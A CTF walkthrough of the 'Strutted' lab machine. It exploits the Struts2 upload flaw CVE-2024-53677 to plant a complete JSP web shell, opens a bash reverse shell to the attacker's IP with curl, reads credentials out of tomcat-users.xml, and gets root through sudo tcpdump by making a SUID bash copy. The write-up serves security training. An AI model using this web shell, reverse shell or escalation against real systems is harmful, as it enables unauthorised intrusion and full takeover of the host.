Strutted Walkthrough

Exploited CVE-2024-53677 for access, found tomcat-users.xml with james password, then used sudo tcpdump to create SUID /tmp/bash and gained root.

CTF
privilege esclation
Linux
Banner image

NMAP

code
1~ ❯ nmap -sC -sV -p- --min-rate 10000 10.10.11.59 2Starting Nmap 7.97 ( https://nmap.org ) at 2025-09-24 05:14 +0800 3Warning: 10.10.11.59 giving up on port because retransmission cap hit (10). 4Stats: 0:00:51 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan 5Connect Scan Timing: About 80.74% done; ETC: 05:15 (0:00:12 remaining) 6Nmap scan report for 10.10.11.59 7Host is up (0.27s latency). 8Not shown: 56975 closed tcp ports (conn-refused), 8558 filtered tcp ports (no-response) 9PORT STATE SERVICE VERSION 1022/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) 11| ssh-hostkey: 12| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA) 13|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519) 1480/tcp open http nginx 1.18.0 (Ubuntu) 15|_http-server-header: nginx/1.18.0 (Ubuntu) 16|_http-title: Did not follow redirect to http://strutted.htb/ 17Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 18 19Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 20Nmap done: 1 IP address (1 host up) scanned in 82.55 seconds

HTTP(80)

On this website, you can upload an image file (JPG, JPEG, PNG, or GIF) and instantly get a shareable link. That way, your image is stored securely online and can be easily shared anywhere.

let’s try upload an image and see the behavior, as we can see the URL. it is short but the image was uploaded to http://strutted.htb/uploads/20250923_213437/pixelpayload.png.

If you scroll further down the page, you’ll see that they also provide a Docker image setup. This Docker image contains the full environment (Strutted™) as a ready-to-use configuration.

as we can see from the files after searching it use Tomcat, after some researching i found that it is a web server and servlet container for running java applications.

what tomcat?

  • Apache Tomcat is an open-source Java application server (more precisely: a Servlet container).
  • It was developed by the Apache Software Foundation (ASF).
  • It implements the Jakarta Servlet, JavaServer Pages (JSP), and WebSocket specifications.
  • It runs Java web applications packaged as .war files.

How it work

  1. user send request to the Server
  2. tomcat http connector listing on port 8080. the connector component receives request
  3. request then mapped. tomcat use web.xml to map url to class something like <action name="s/{id}"class="org.strutted.htb.URLUtil"><param name="id">{1}</param><result name="success">/WEB-INF/showImage.jsp</result><result name="error">/WEB-INF/error.jsp</result></action>
  4. servlet execution, tomcat loads the serlet if not already loaded
  5. then generate response, html or json, etc.

some file

  • context.xml → Tomcat context configuration (defines application-specific settings, database resources, etc.).
  • tomcat-users.xml → Defines Tomcat users, roles, and credentials (used for the Tomcat Manager GUI). we have admin passsword skqKY6360z!Y, does not work i try to log to ssh.
  • README.md → Documentation for the project.
  • Dockerfile → Instructions to build a Docker image for this application.
  • strutted/ → the main web application source folder (Java classes, JSPs, servlets, etc.).
  • pom.xml/ → have list of Dependencies (external libraries like Struts, Spring, Tomcat, etc.)

after searching in the downloaded docker image i found the source code logic for the upload which is so simple it just check the content-Len, image type, magic bytes. and uploaded to /upload/random_num/img. also i found the pom.xml after searching all these dependencies, i found interesting CVE.

code
1 <properties> 2 <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> 3 <maven.compiler.source>17</maven.compiler.source> 4 <maven.compiler.target>17</maven.compiler.target> 5 <struts2.version>6.3.0.1</struts2.version> 6 <jetty-plugin.version>9.4.46.v20220331</jetty-plugin.version> 7 <maven.javadoc.skip>true</maven.javadoc.skip> 8 <jackson.version>2.14.1</jackson.version> 9 <jackson-data-bind.version>2.14.1</jackson-data-bind.version> 10 </properties>

CVE-2024-53677

the vulnerability lead to RCE. struts 2 uses OGNL (Object-Graph Navigation Language): is a language inside struts that maps from fields to java objects, in the background for example from field named user.name in html could automatically set user.setNname(,,) in java. this is very convenient but dangerous if input to restricted. example:

code
1<input type="text" name="user.name" value="John"/>

If your action class has:

code
1public class UserAction { 2 private User user; // with setter/getter 3}

OGNL automatically does:

code
1user.setName("John");

so we will target FileUploadInterceptor it is class in the struts2, it’s job is to take uploaded file and read their name,content-Len, type. and file object then save them to a specific folder. t uses OGNL to assign these metadata fields internally. This allows an attacker to inject OGNL expressions in uploadFileName or uploadContentType.

Let's Exploit

this is the request i used as we can see there is couple of notes. first we must add the magic byte for the png which is PNG, then in the name it changed to Upload because remember OGNL convert name to java object. so it case sensitive. this is the first part of the multipart the second part we want to trigger top.UploadFileName to change the directory of the file and change the extension to JSP.

reust.txt
1POST /upload.action;jsessionid=D7FF925A5A7B9752B5D9D88CDE982EE9 HTTP/1.1 2Host: strutted.htb 3User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0 4Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 5Accept-Language: en-US,en;q=0.5 6Accept-Encoding: gzip, deflate 7Referer: http://strutted.htb/ 8Content-Type: multipart/form-data; boundary=----geckoformboundarye7364de1f9f1ba32c8cc88e27633138 9Content-Length: 326 10Origin: http://strutted.htb 11Connection: keep-alive 12Cookie: JSESSIONID=D7FF925A5A7B9752B5D9D88CDE982EE9 13Upgrade-Insecure-Requests: 1 14Priority: u=0, i 15 16------geckoformboundarye7364de1f9f1ba32c8cc88e27633138 17Content-Disposition: form-data; name="Upload"; filename="pixelpayload.png" 18Content-Type: image/png 19 20‰PNG 21<%@ page import="java.io.*, java.util.*, java.net.*" %> 22<% 23 String action = request.getParameter("action"); 24 String output = ""; 25 26 try { 27 if ("cmd".equals(action)) { 28 // Execute system commands 29 String cmd = request.getParameter("cmd"); 30 if (cmd != null) { 31 Process p = Runtime.getRuntime().exec(cmd); 32 BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream())); 33 String line; 34 while ((line = reader.readLine()) != null) { 35 output += line + "\n"; 36 } 37 reader.close(); 38 } 39 } else if ("upload".equals(action)) { 40 // File upload 41 String filePath = request.getParameter("path"); 42 String fileContent = request.getParameter("content"); 43 if (filePath != null && fileContent != null) { 44 File file = new File(filePath); 45 try (BufferedWriter writer = new BufferedWriter(new FileWriter(file))) { 46 writer.write(fileContent); 47 } 48 output = "File uploaded to: " + filePath; 49 } else { 50 output = "Invalid file upload parameters."; 51 } 52 } else if ("list".equals(action)) { 53 // List directory contents 54 String dirPath = request.getParameter("path"); 55 if (dirPath != null) { 56 File dir = new File(dirPath); 57 if (dir.isDirectory()) { 58 for (File file : Objects.requireNonNull(dir.listFiles())) { 59 output += file.getName() + (file.isDirectory() ? "/" : "") + "\n"; 60 } 61 } else { 62 output = "Path is not a directory."; 63 } 64 } else { 65 output = "No directory path provided."; 66 } 67 } else if ("delete".equals(action)) { 68 // Delete files 69 String filePath = request.getParameter("path"); 70 if (filePath != null) { 71 File file = new File(filePath); 72 if (file.delete()) { 73 output = "File deleted: " + filePath; 74 } else { 75 output = "Failed to delete file: " + filePath; 76 } 77 } else { 78 output = "No file path provided."; 79 } 80 } else { 81 // Unknown operation 82 output = "Unknown action: " + action; 83 } 84 } catch (Exception e) { 85 output = "Error: " + e.getMessage(); 86 } 87 88 // Return the result 89 response.setContentType("text/plain"); 90 out.print(output); 91%> 92------geckoformboundarye7364de1f9f1ba32c8cc88e27633138 93Content-Disposition: form-data; name="top.UploadFileName" 94 95../../shell.jsp 96------geckoformboundarye7364de1f9f1ba32c8cc88e27633138--

you might be wondering why adding it here ../../shell.jsp and no just ../shell.jsp the because in web.xml file we can see that is configured to serve all the files as static in /upload/* as we can see

code
1<servlet-mapping> 2 <servlet-name>staticServlet</servlet-name> 3 <url-pattern>/uploads/*</url-pattern> 4</servlet-mapping> 5

after than we can use curl do this command:

curl --output -'http://strutted.htb/shell.jsp'--data-urlencode 'action=upload'--data-urlencode 'path=/tmp/s.sh'--data-urlencode 'content=bash -i >&/dev/tcp/10.10.15.45/80810>&1'

then open listener and run the script:

curl --output -'http://strutted.htb/shell.jsp'--data-urlencode 'action=cmd'--data-urlencode 'cmd=bash /tmp/s.sh'

and you will get a connection back.

Enumerate

we have a root user and james we have no access to his /home.

code
1cat /etc/passwd | grep "sh$" 2root:x:0:0:root:/root:/bin/bash 3james:x:1000:1000:Network Administrator:/home/james:/bin/bash

i found the password does not work for admin and james. and we see the role is manager so it might be something related to manage. i tried everything i found nothing then when i log to ssh it worked! it will be interesting to see why when we get root access.

code
1!-- 2 <user username="admin" password="<must-be-changed>" roles="manager-gui"/> 3 <user username="robot" password="<must-be-changed>" roles="manager-script"/> 4 <role rolename="manager-gui"/> 5 <role rolename="admin-gui"/> 6 <user username="admin" password="IT14d6SSP81k" roles="manager-gui,admin-gui"/> 7---> 8<!-- 9 The sample user and role entries below are intended for use with the 10 examples web application. They are wrapped in a comment and thus are ignored 11 when reading this file. If you wish to configure these users for use with the 12 examples web application, do not forget to remove the <!.. ..> that surrounds 13 them. You will also need

as we can see we logged in to ssh as james

as we can see we can run tcpdump as admin. let’s see what we can do https://gtfobins.github.io/gtfobins/tcpdump/

code
1james@strutted:~$ sudo -l 2Matching Defaults entries for james on localhost: 3 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty 4 5User james may run the following commands on localhost: 6 (ALL) NOPASSWD: /usr/sbin/tcpdump

the vulnerability is in Some programs don’t properly drop those privileges when they spawn subprocesses, which can be abused to execute arbitrary commands as root.as we can see the file was created by the root.

  • cp /bin/bash /tmp/0xdf → copies the system’s Bash shell binary to /tmp/0xdf.
  • chmod 6777 /tmp/0xdf → sets permissions:
code
1COMMAND='cp /bin/bash /tmp/cmd; chmod 6777 /tmp/cmd' 2TF=$(mktemp) 3echo "$COMMAND" > $TF 4chmod +x $TF 5sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

At first, I was confused about the password for SSH. Let’s analyze why it works for SSH but not when using su. Interestingly, when we obtained root access, the same password worked. This suggests that there might be a misconfiguration somewhere in the system.

let's see the running services

code
1james@strutted:/root$ systemctl list-units --type service --state running 2 UNIT LOAD ACTIVE SUB DESCRIPTION 3 auditd.service loaded active running Security Auditing Service 4 cron.service loaded active running Regular background program processing daemon 5 dbus.service loaded active running D-Bus System Message Bus 6 getty@tty1.service loaded active running Getty on tty1 7 irqbalance.service loaded active running irqbalance daemon 8 ModemManager.service loaded active running Modem Manager 9 multipathd.service loaded active running Device-Mapper Multipath Device Controller 10 networkd-dispatcher.service loaded active running Dispatcher daemon for systemd-networkd 11 nginx.service loaded active running A high performance web server and a reverse proxy server 12 open-vm-tools.service loaded active running Service for virtual machines hosted on VMware 13 polkit.service loaded active running Authorization Manager 14 rsyslog.service loaded active running System Logging Service 15 ssh.service loaded active running OpenBSD Secure Shell server 16 systemd-journald.service loaded active running Journal Service 17 systemd-logind.service loaded active running User Login Management 18 systemd-networkd.service loaded active running Network Configuration 19 systemd-resolved.service loaded active running Network Name Resolution 20 systemd-timesyncd.service loaded active running Network Time Synchronization 21 systemd-udevd.service loaded active running Rule-based Manager for Device Events and Files 22 tomcat9.service loaded active running Apache Tomcat 9 Web Application Server 23 udisks2.service loaded active running Disk Manager 24 user@1000.service loaded active running User Manager for UID 1000 25 vgauth.service loaded active running Authentication service for virtual machines hosted on VMware 26 27LOAD = Reflects whether the unit definition was properly loaded. 28ACTIVE = The high-level unit activation state, i.e. generalization of SUB. 29SUB = The low-level unit activation state, values depend on unit type.

let's see the service config file.

code
1cmd-5.1# cat /lib/systemd/system/tomcat9.service 2# 3# Systemd unit file for Apache Tomcat 4# 5 6[Unit] 7Description=Apache Tomcat 9 Web Application Server 8Documentation=https://tomcat.apache.org/tomcat-9.0-doc/index.html 9After=network.target 10RequiresMountsFor=/var/log/tomcat9 /var/lib/tomcat9 11 12[Service] 13 14# Configuration 15Environment="CATALINA_HOME=/usr/share/tomcat9" 16Environment="CATALINA_BASE=/var/lib/tomcat9" 17Environment="CATALINA_TMPDIR=/tmp" 18Environment="JAVA_OPTS=-Djava.awt.headless=true" 19 20# Lifecycle 21Type=simple 22ExecStartPre=+/usr/libexec/tomcat9/tomcat-update-policy.sh 23ExecStart=/bin/sh /usr/libexec/tomcat9/tomcat-start.sh 24SuccessExitStatus=143 25Restart=on-abort 26 27# Logging 28SyslogIdentifier=tomcat9 29 30# Security 31User=tomcat 32Group=tomcat 33PrivateTmp=yes 34AmbientCapabilities=CAP_NET_BIND_SERVICE 35NoNewPrivileges=true 36CacheDirectory=tomcat9 37CacheDirectoryMode=750 38ProtectSystem=strict 39ReadWritePaths=/etc/tomcat9/Catalina/ 40ReadWritePaths=/var/lib/tomcat9/webapps/ 41ReadWritePaths=/var/log/tomcat9/ 42 43[Install] 44WantedBy=multi-user.target 45cmd-5.1#

as we can see in security tap NoNewPrivileges=true this set to true which it mean.

NoNewPrivileges is a systemd service unit setting that enhances security by preventing a process and its children from gaining new privileges after startup. When applied to a Tomcat service unit, it ensures that the Tomcat process, and any processes it spawns (e.g., via execve()), cannot elevate their privileges, for instance, by using setuid or setgid bits, or filesystem capabilities.

end.

Published 7 days ago